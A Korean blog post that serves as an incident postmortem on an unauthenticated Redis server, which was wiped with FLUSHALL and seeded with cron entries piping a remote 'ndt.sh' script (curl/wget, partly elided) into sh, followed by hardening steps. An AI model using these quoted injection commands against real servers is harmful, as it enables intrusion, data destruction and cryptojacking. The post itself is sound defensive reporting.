데이터 유실 장애 분석부터 보안 구축기

Posted: Updated:
#Redis#Infra#보안

운영 중인 서비스에서 갑자기 강의실 정보가 증발하는 장애가 발생했습니다. 처음엔 단순한 설정 문제인 줄 알았으나, 파고들수록 해커와의 긴박한 숨바꼭질이 숨어 있었습니다. 장애 인지부터 보안 도입 과정까지를 기록합니다.


1. 장애 발생: "1.7MB 데이터가 왜 사라졌지?"

개발 환경에서 테스트를 하던 중 사용자가 퇴장하지 않았는데도 강의실(room:ID) 정보가 삭제되는 장애가 발생했습니다.

  • 현상: KEYS room:* 조회 시 데이터 전멸.
  • 의문점: Redis 메모리 사용량은 고작 1.7MB(임계치 1GB). 메모리 부족으로 키를 지우는 evicted_keys 수치도 0이었습니다.

처음에는 애플리케이션의 재접속 로직이나 Redis의 Eviction Policy(allkeys-lru) 설정을 의심했습니다. allkeys-lru는 메모리가 부족할 때 TTL이 없는 중요 데이터도 삭제할 수 있기 때문입니다. 하지만 1.7MB라는 수치는 정책이 작동하기엔 너무나 미미했습니다.


2. 범인은 내부에 없었다: 충격적인 공격 로그

더 깊은 분석을 위해 Redis 로그를 살피던 중, 장애의 진짜 원인인 결정적 증거를 발견했습니다.

초기 환경 구축 당시, 빠른 개발 속도를 위해 비밀번호 설정과 ACG(Access Control Group) 제한 없이 Redis 서버를 구성했습니다. 하지만 '설마' 했던 방심이 화근이 되었습니다. 해커는 비밀번호가 없는 Redis의 허점을 놓치지 않았고, 이는 곧 치명적인 침해 사고로 이어졌습니다.

# 외부 IP(218.78.131.154)가 1초 간격으로 수행한 명령들
"set" "backup1" "*/2 * * * * curl ... ndt.sh | sh" # 악성 스크립트 주입
"set" "backup2" "*/3 * * * * wget ... ndt.sh | sh"
"flushall"  # <--- 모든 데이터 강제 삭제!
"set" "backup1" "*/2 * * * * root curl ... ndt.sh | sh" # 루드 권한 탈취 시도

팀원들과 나눴던 대화

로그를 발견한 직후, 팀 메신저에서는 원인 파악을 위한 긴박한 소통이 이어졌습니다.

본인: 로그를 분석해 보니 IP 주소가 이상해요. 저희가 시도하지 않은 flushall 명령어로 데이터를 삭제한 뒤, 특정 쉘 명령어를 주입하고 있더라고요.

팀원: 헉, 저번에도 모르는 IP 접근이 있어서 팀원분들인 줄 알았는데... 우리 서버한테 채굴을 시키려고 한 건가요?

본인: 네, 중국 쪽 IP인 것 같아요. 일단 redis 서버를 내렸습니다!

사건의 실체

  1. 무단 침입: 인증 절차가 없는 6379 포트를 통해 접속.
  2. 데이터 파괴: 자신의 스크립트를 실행할 공간을 확보하고 흔적을 지우기 위해 flushall 실행. (이때 우리 서비스의 방 정보가 모두 증발했습니다.)
  3. 자원 탈취: backup1~4라는 이름의 키에 가상화폐 채굴을 위한 악성 쉘 스크립트를 주입하고 크론탭(Crontab) 등록을 시도.

3. 1차 대응: 데이터 보호막 구축

해커의 공격을 확인한 직후, 추가적인 데이터 유실을 막기 위해 즉각적인 인프라 설정 변경을 단행했습니다.

  • Eviction Policy 변경: allkeys-lruvolatile-lru
    • 기존 정책은 메모리 압박 시 TTL(만료 시간)이 없는 중요 데이터까지 삭제할 위험이 있었습니다.
    • 이를 volatile-lru로 변경하여, 만료 시간이 설정된 임시 데이터만 삭제 대상이 되도록 하여 강의실(room:*) 데이터에 대한 최소한의 보호막을 씌웠습니다.
  • 설정 영구화: 임시 방편인 CONFIG SET에 그치지 않고, docker-compose.yml과 CD 파이프라인 설정을 수정하여 서버 재시작 시에도 최적화된 설정이 유지되도록 확정했습니다.

4. 근본 해결: "성문을 걸어 잠그다"

1차 대응으로 데이터 삭제 로직은 방어했지만, 해커의 접속 자체를 막지 못하면 언제든 다시 위험에 노출될 수 있습니다. 이에 3단계 보안 고도화를 통해 근본적인 침투 경로를 차단했습니다.

4.1. Redis 보안 계층 구축 (Docker Layer)

해킹 방어의 핵심인 인증과 명령어 제한을 인프라 레벨에서 강제했습니다.

  • requirepass 설정: 강력한 무작위 문자열 비밀번호를 적용하여 인증되지 않은 모든 외부 접근을 원천 차단했습니다.
  • 명령어 무력화: 해커가 침투하더라도 데이터를 파괴할 수 없도록 FLUSHALL, FLUSHDB, CONFIG 명령어를 비활성화하거나 이름을 변경했습니다.

4.2. 백엔드 연결 로직 및 CI/CD 최적화

강화된 보안 설정이 서비스와 충돌 없이 작동하도록 전체 시스템을 연동했습니다.

  • NestJS 리팩토링: Redis 자체 보안 강화로 인해 실행 불가능해진 코드 내 config() 호출부를 제거하고, 보안 인증 기반의 연결 헬스체크 방식으로 전환했습니다.
  • GitHub Secrets 연동: 환경별(Dev/Prod) 비밀번호를 암호화하여 관리하고, 배포 시 .env 파일에 자동 주입되도록 CD 스크립트를 고도화했습니다.

4.3. 네트워크 격리 및 모니터링 연동

마지막으로 네트워크 대문을 닫고, 안전한 관제 환경을 구축했습니다.

  • NCP ACG(방화벽) 설정: 외부의 모든 6379, 9121 포트 접속을 차단하고, 오직 백엔드 서버와 모니터링 서버의 IP만 허용하는 화이트리스트 정책을 적용했습니다.
  • Exporter 인증 주입: 보안이 적용된 상태에서도 실시간 지표를 수집할 수 있도록 redis-exporter에 인증 정보를 주입하여 Grafana 대시보드를 복구했습니다.

5. 최종 결과 및 기대 효과

구분조치 전조치 후
인증 보안인증 없음 (누구나 접속)비밀번호 인증 필수 (AUTH)
명령어 보안모든 명령 허용파괴적 명령어 원천 차단
네트워크전 세계 오픈특정 서버 IP만 허용 (ACG)
운영 안정성재시작 시 설정 유실 가능성Docker 설정을 통한 영구 유지

6. 마치며: 보안은 '편의'보다 우선되어야 한다

이번 사고를 통해 "빠른 개발"이라는 명목하에 간과했던 보안 설정이 얼마나 큰 대가로 돌아오는지 뼈저리게 느꼈습니다. 해커는 단 몇 초 만에 우리의 수고를 물거품으로 만들 수 있습니다.

혹시 지금 비밀번호 없는 Redis를 사용 중이신가요? "잠시 테스트용이니까"라는 생각이 해커에게는 가장 반가운 초대장일 수 있습니다. 오늘 당장 여러분의 서버 대문을 점검해 보시기 바랍니다.

Comments (0)

댓글을 불러오는 중...